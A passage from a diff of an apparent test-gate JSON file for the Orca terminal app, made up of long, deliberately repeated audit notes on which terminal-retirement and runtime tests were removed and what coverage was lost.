retirement. Deterministic tests also cover final-pane CLI close durability and same-incarnation handle continuity; persisted-empty restart suppression remains historical Electron evidence, alongside replacement and hard graph-loss stale fencing, preallocated-handle supersession, daemon and SSH routing, local/daemon pending-snapshot ownership across natural exit, stale-root descendant-signal suppression, graceful-to-immediate kill upgrades, duplicate-kill completion sharing, locale-stable bounded/fresh/coalesced process-table reads, deadline-safe successor scans, cycle-safe linear descendant traversal, target-only escalation indexing, 32-wide bulk teardown, source-scan timestamp identity, same-second PID ambiguity, ordinary runtime close ownership, unified-only hydration, split ownership, pane detach transfer, restart alias hydration, and late-hook suppression; live Linux, Windows, WSL, SSH, and remote-runtime process evidence remains pending. A paired macOS Electron journey (real attached-window desktop host plus a separate real paired desktop client, isolated profiles) covers the inverse authority direction for host-created terminals: a renderer graph sync must not retire a tab that `orca terminal create` made. The retained paired journey covers the incident shape the real CLI produces - a repo's FIRST host-created terminal, since src/cli/handlers/terminal.ts sends no clientMutationId. The repeated target-after-unrelated-terminal journey was retired; its separate ordering alarm is no longer provided. An earlier reading of this gate called a preceding host-created terminal and a `clientMutationId` protective; main-process instrumentation refuted that. The renderer's stale session write deleted the host tab from persistence in every variant, and only the delete's timing relative to the measured sync differed, so those rows were false negatives of a single-sync oracle. The defect was in persistence: persistPtyBinding did not raise the repo's terminal topology fence for the first host-admitted tab, leaving the renderer's pre-create tab list free to replay over it. Elapsed time and paired-client mirroring never decided anything. A windowless `orca serve` parity arm runs the identical oracle and passes on both the merge-base and the branch, confirming that topology does not exhibit the defect (the gate it turns on is window-conditioned) and that making the host binding unconditional did not regress it. All of this is macOS-local only. The reported incident occurred on a physical Windows host; we did not run against one. The claim that the mechanism is platform-independent rests on the authoritative-window gate and publication-epoch inheritance being OS-agnostic, not on Windows evidence, so no ConPTY, Windows window-lifecycle, update, or sleep behavior is covered here. The synthetic default-tabs unit suite was retired: its explicit-empty/default-tab assertions no longer supply unit evidence. This retirement supplies no new persisted-restart, runtime-routing, cross-platform, or mobile evidence; existing historical runs and counts remain historical. The test-value audit removes the isolated re-retirement-token/epoch, activity-cutoff, idle-reattach and sibling-restore examples. The cited exact retirement and chained-detach cases remain unchanged, alongside closed-tab revival fencing and alias churn bounds. Their retained evidence is not equivalent coverage for every removed permutation; historical execution evidence is unchanged. The test-value audit removed shared-owner snapshot/cold-restore reference examples, a direct absent-tab PTY-index update, caller-supplied host-owned teardown boolean/no-dispatch, and a single local-provider rejection example. It also removed hand-built detach-retention comparator examples for different runs, handles, provider identities, and handle-less rows without independent identity ingress. Their specific snapshot, missing-tab, host-decision, rejection-count, and comparator alarms are lost. Current exact authority/ordering and chained-detach cases remain retained; they do not establish equivalent coverage for the removed examples. Historical commands, counts, results, and red-green narratives remain historical. The test-value audit retires terminals-explicit-empty-hydration.test.ts in full: its direct git/folder empty-tombstone assertions and literal-flag auto-create helper check are lost. The store test never mounted the initial-terminal effect or performed a persisted restart. The audit also removes terminal-tab-retirement.test.ts pure ownership/alias/routing plan inventories and sleeping-record map assertions; its former 100-tab scan-count case was subsequently retired too; no assertion remains in that suite. These retained and historical cases do not establish equivalent tombstone, default-create, provider teardown, cross-platform, or mobile coverage. Historical commands, results, counts, and red-green narratives remain historical. The subsequent test-value audit deletes the remaining terminal-tab-retirement.test.ts suite. Its 100-tab case asserted only returned plan count and one outer scan per ownership store; it never inspected per-tab plans or provider teardown. Those direct cardinality/work-count alarms are intentionally lost. Historical executed commands, results, counts and red-green narratives remain historical; no equivalent replacement or new runtime, platform or mobile evidence is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1392: src/main/agent-hooks/server-pane-authority.test.ts reduced. Retires one duplicate-transfer no-op listener count and latest pty/timestamp callback fixture. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", + "coveredProviders": [], + "coverageNotes": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5631 accompanies Audit5617 whole-suite deletion of src/renderer/src/store/terminals/layout/terminal-pane-detach-agent-identity.test.ts. Accepted loss: Detached leaf foreground/status/launch/resume identity map transfer and sibling preservation. No equivalent replacement or fresh reduced-command validation is claimed. Retained partial protection applies only to independent historical receipt scopes and does not protect these retired alarms. Historical prior account follows: Audit5611 retires complete low-value suites src/renderer/src/store/slices/agent-status/agent-pane-authority.test.ts. Intentionally lose pane restoration, closed-tab refusal and round-trip status alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Audit5583 removes the entire src/renderer/src/store/terminals/retirement/terminal-tab-retirement-store.test.ts suite and its active selectors. Intentionally lose mocked terminal tab retirement choreography alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4368 intentionally drops seven mocked teardown cases: duplicate single-chat rollback, forced stuck-close warning/retirement, post-close-throw exit acceptance, mixed live/unconfirmed wording, exact serial-close budget work, missing runtime selector success and runtime-sweep rejection. Four structured-session and three PTY teardown cases remain; no replacement or fresh native/process/remote proof is claimed. Historical assertion anchors and receipts are not refreshed by this source-only reduction. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4351 removes the physical-exit timeout/retry and kill-failure/retry local-PTY shutdown cases. The retained shutdown case proves pending ownership until the injected node-pty exit callback only. These two narrow error-path alarms are intentionally lost; retained commands still select the reduced suite. No equivalent replacement or fresh runtime execution is claimed. Earlier notes and dated receipts retain their original scopes. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Lose the complete completed-worker-retirement-resume suite: exact terminal-close resume-record revocation, PTY-exit recovery retention and settled-worker release examples. Remove its exact command token or standalone command, testFiles entry and assertionRef, archiving complete prior fields. Independent receipts retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3323 (reconciled source audit3320) intentionally retires seven low-value renderer authority/retirement examples: retires one pane, clears resume authority, and rejects late status without harming siblings — Late status reviving a retired pane, sibling damage, or resume authority left behind.; can retire live pane authority while retaining its sleeping session — Retiring live authority accidentally dropping a retained sleeping session.; keeps a physical pane routed through chained detaches until its current owner closes — Chained detach alias routing broken after original owner closes, or alias survives final close.; forgets routing aliases for purged tabs — Purged-tab routing aliases lingering.; retires split, relay, deferred, and pending sessions for a parked tab — Split, relay, deferred or pending session omitted from teardown, sleeping-record sibling damaged, parked disposer skipped.; retires parked ownership before teardown and sweeps published state before unified close — Parked cleanup/provider teardown/state removal/sweep/unified-close ordering changes.; starts mixed provider teardown and classifies both rejection kinds after synchronous retirement — Mixed teardown failures blocking retirement, or local/runtime warning counts misclassified.. Remove the exact-pane-retirement and chained-detach assertion references because their source cases are gone. Other retained cases do not replace these alarms. Preserve all dated evidenceRuns and prior history with their original source scope; no fresh execution or historical import-closure equivalence is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1904 reduces persistence-pty-binding-reconciliation from six to four definitions, intentionally losing legacy remap-load and first-binding projection alarms. Current selector/testFile remains valid, with no selected-source assertionRef or active matching receipt. The six unchanged close/continuity receipts keep their exact original scope; no new broad gate or replacement evidence is claimed. Historical prior account (preserved verbatim): Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1674 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Live macOS Electron tests prove exact local PTY disappearance after parked-tab close and detached-pgid descendant death after agent close. A deterministic final-pane interleaving now proves durable tab retirement commits before externally owned PTY teardown can publish graph loss, and preserves an unrelated live canary through duplicate exit retirement. Deterministic tests also cover final-pane CLI close durability and same-incarnation handle continuity; persisted-empty restart suppression remains historical Electron evidence, alongside replacement and hard graph-loss stale fencing, preallocated-handle supersession, daemon and SSH routing, local/daemon pending-snapshot ownership across natural exit, stale-root descendant-signal suppression, graceful-to-immediate kill upgrades, duplicate-kill completion sharing, locale-stable bounded/fresh/coalesced process-table reads, deadline-safe successor scans, cycle-safe linear descendant traversal, target-only escalation indexing, 32-wide bulk teardown, source-scan timestamp identity, same-second PID ambiguity, ordinary runtime close ownership, unified-only hydration, split ownership, pane detach transfer, restart alias hydration, and late-hook suppression; live Linux, Windows, WSL, SSH, and remote-runtime process evidence remains pending. A paired macOS Electron journey (real attached-window desktop host plus a separate real paired desktop client, isolated profiles) covers the inverse authority direction for host-created terminals: a renderer graph sync must not retire a tab that `orca terminal create` made. The retained paired journey covers the incident shape the real CLI produces - a repo's FIRST host-created terminal, since src/cli/handlers/terminal.ts sends no clientMutationId. The repeated target-after-unrelated-terminal journey was retired; its separate ordering alarm is no longer provided. An earlier reading of this gate called a preceding host-created terminal and a `clientMutationId` protective; main-process instrumentation refuted that. The renderer's stale session write deleted the host tab from persistence in every variant, and only the delete's timing relative to the measured sync differed, so those rows were false negatives of a single-sync oracle. The defect was in persistence: persistPtyBinding did not raise the repo's terminal topology fence for the first host-admitted tab, leaving the renderer's pre-create tab list free to replay over it. Elapsed time and paired-client mirroring never decided anything. A windowless `orca serve` parity arm runs the identical oracle and passes on both the merge-base and the branch, confirming that topology does not exhibit the defect (the gate it turns on is window-conditioned) and that making the host binding unconditional did not regress it. All of this is macOS-local only. The reported incident occurred on a physical Windows host; we did not run against one. The claim that the mechanism is platform-independent rests on the authoritative-window gate and publication-epoch inheritance being OS-agnostic, not on Windows evidence, so no ConPTY, Windows window-lifecycle, update, or sleep behavior is covered here. The synthetic default-tabs unit suite was retired: its explicit-empty/default-tab assertions no longer supply unit evidence. This retirement supplies no new persisted-restart, runtime-routing, cross-platform, or mobile evidence; existing historical runs and counts remain historical. The test-value audit removes the isolated re-retirement-token/epoch, activity-cutoff, idle-reattach and sibling-restore examples. The cited exact retirement and chained-detach cases remain unchanged, alongside closed-tab revival fencing and alias churn bounds. Their retained evidence is not equivalent coverage for every removed permutation; historical execution evidence is unchanged. The test-value audit removed shared-owner snapshot/cold-restore reference examples, a direct absent-tab PTY-index update, caller-supplied host-owned teardown boolean/no-dispatch, and a single local-provider rejection example. It also removed hand-built detach-retention comparator examples for different runs, handles, provider identities, and handle-less rows without independent identity ingress. Their specific snapshot, missing-tab, host-decision, rejection-count, and comparator alarms are lost. Current exact authority/ordering and chained-detach cases remain retained; they do not establish equivalent coverage for the removed examples. Historical commands, counts, results, and red-green narratives remain historical. The test-value audit retires terminals-explicit-empty-hydration.test.ts in full: its direct git/folder empty-tombstone assertions and literal-flag auto-create helper check are lost. The store test never mounted the initial-terminal effect or performed a persisted restart. The audit also removes terminal-tab-retirement.test.ts pure ownership/alias/routing plan inventories and sleeping-record map assertions; its former 100-tab scan-count case was subsequently retired too; no assertion remains in that suite. These retained and historical cases do not establish equivalent tombstone, default-create, provider teardown, cross-platform, or mobile coverage. Historical commands, results, counts, and red-green narratives remain historical. The subsequent test-value audit deletes the remaining terminal-tab-retirement.test.ts suite. Its 100-tab case asserted only returned plan count and one outer scan per ownership store; it never inspected per-tab plans or provider teardown. Those direct cardinality/work-count alarms are intentionally lost. Historical executed commands, results, counts and red-green narratives remain historical; no equivalent replacement or new runtime, platform or mobile evidence is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1392: src/main/agent-hooks/server-pane-authority.test.ts reduced. Retires one duplicate-transfer no-op listener count and latest pty/timestamp callback fixture. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-4327", "https://github.com/stablyai/orca/pull/14590", @@ -5835,17 +5172,14 @@ "https://github.com/stablyai/orca/issues/14524" ], "invariant": "Close permanently removes the owned provider session, agent descendants, persisted tab/layout authority, and resume authority even when no TerminalPane is mounted; final-pane CLI close commits durable tab retirement before PTY stop can publish graph loss, does not acknowledge before that retirement, and treats the later exit retirement as idempotent. Workspace-wide CLI close applies that same durable contract to every terminal in exactly one worktree, including pinned and persisted-only surfaces, without touching sibling-worktree PTYs or resume records. A persisted explicit-empty state prevents initial-tab fallback from repopulating the workspace after reload or restart. A handle remains valid while the same provider-attested PTY incarnation survives renderer reload or re-key, and becomes stale without adopting a replacement incarnation. A terminating id remains reserved through natural exit, duplicate callers await the same completion, and immediate teardown upgrades any graceful request without signalling a recycled PID or a descendant tree after root ownership is lost; process-table work is locale-stable, bounded, fresh for each post-start request, same-turn coalesced, and begins within the requesting caller's deadline, including bulk worktree cleanup; detach and park preserve ownership; aliases prevent a detached agent's immutable physical pane key from being retired with its former tab.", - "oracle": "Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5631 accompanies Audit5617 whole-suite deletion of src/renderer/src/store/terminals/layout/terminal-pane-detach-agent-identity.test.ts. Accepted loss: Detached leaf foreground/status/launch/resume identity map transfer and sibling preservation. No equivalent replacement or fresh reduced-command validation is claimed. Retained partial protection applies only to independent historical receipt scopes and does not protect these retired alarms. Historical prior account follows: Audit4368 intentionally drops seven mocked teardown cases: duplicate single-chat rollback, forced stuck-close warning/retirement, post-close-throw exit acceptance, mixed live/unconfirmed wording, exact serial-close budget work, missing runtime selector success and runtime-sweep rejection. Four structured-session and three PTY teardown cases remain; no replacement or fresh native/process/remote proof is claimed. Historical assertion anchors and receipts are not refreshed by this source-only reduction. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4351 removes the physical-exit timeout/retry and kill-failure/retry local-PTY shutdown cases. The retained shutdown case proves pending ownership until the injected node-pty exit callback only. These two narrow error-path alarms are intentionally lost; retained commands still select the reduced suite. No equivalent replacement or fresh runtime execution is claimed. Earlier notes and dated receipts retain their original scopes. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Lose the complete completed-worker-retirement-resume suite: exact terminal-close resume-record revocation, PTY-exit recovery retention and settled-worker release examples. Remove its exact command token or standalone command, testFiles entry and assertionRef, archiving complete prior fields. Independent receipts retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3323 (reconciled source audit3320) intentionally retires seven low-value renderer authority/retirement examples: retires one pane, clears resume authority, and rejects late status without harming siblings — Late status reviving a retired pane, sibling damage, or resume authority left behind.; can retire live pane authority while retaining its sleeping session — Retiring live authority accidentally dropping a retained sleeping session.; keeps a physical pane routed through chained detaches until its current owner closes — Chained detach alias routing broken after original owner closes, or alias survives final close.; forgets routing aliases for purged tabs — Purged-tab routing aliases lingering.; retires split, relay, deferred, and pending sessions for a parked tab — Split, relay, deferred or pending session omitted from teardown, sleeping-record sibling damaged, parked disposer skipped.; retires parked ownership before teardown and sweeps published state before unified close — Parked cleanup/provider teardown/state removal/sweep/unified-close ordering changes.; starts mixed provider teardown and classifies both rejection kinds after synchronous retirement — Mixed teardown failures blocking retirement, or local/runtime warning counts misclassified.. Remove the exact-pane-retirement and chained-detach assertion references because their source cases are gone. Other retained cases do not replace these alarms. Preserve all dated evidenceRuns and prior history with their original source scope; no fresh execution or historical import-closure equivalence is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 